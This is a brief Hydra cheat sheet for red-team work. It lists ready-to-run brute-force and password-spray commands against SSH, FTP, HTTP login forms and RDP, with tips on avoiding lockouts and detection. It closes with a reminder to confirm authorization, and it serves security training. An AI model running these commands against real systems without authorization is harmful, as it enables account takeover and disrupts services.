Hydra Cheat Sheet

Hydra brute-forces logins across dozens of protocols — SSH, FTP, HTTP forms, SMB, RDP, and more. It's blunt, effective, and needs to be used deliberately, not just fired at everything.

Red Team / Offensive Use

Hydra shows up most often after you already have something to work with: a username list from an OSINT phase, a default-credential hunch worth testing, or a password-spray attempt using a small list of likely passwords across many accounts (safer against lockout policies than many passwords against one account). It's rarely the first tool you reach for — it's what you use once recon has given you a real, targeted hypothesis to test, not a blind fishing expedition.

Established Cheatsheet

Official THC-Hydra GitHub repo — the source of truth for supported protocols and current syntax.

PWNMI's Top 5 Use Cases

• hydra -l admin -P rockyou.txt ssh://<ip> — single username, wordlist of passwords, against SSH
• hydra -L users.txt -P passwords.txt <ip> ftp — full username x password matrix against FTP; slow, use narrower lists when possible
• hydra -l admin -p 'CommonPassword123' -M targets.txt ssh — password spray: one likely password across many hosts/accounts, far less likely to trigger lockouts than the reverse
• hydra -l admin -P rockyou.txt <ip> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" — web login form brute-forcing, needs the failure-condition string tuned per target
• hydra -t 4 -l admin -P passwords.txt <ip> rdp — reduced thread count against RDP specifically; RDP lockout/detection is aggressive, don't run this at default thread counts

Next step

Before running any of this against a real target, confirm scope and authorization explicitly — see the ethics section of the general roadmap. Account lockouts from an untargeted brute-force run are a common, entirely avoidable way to cause real damage on an engagement.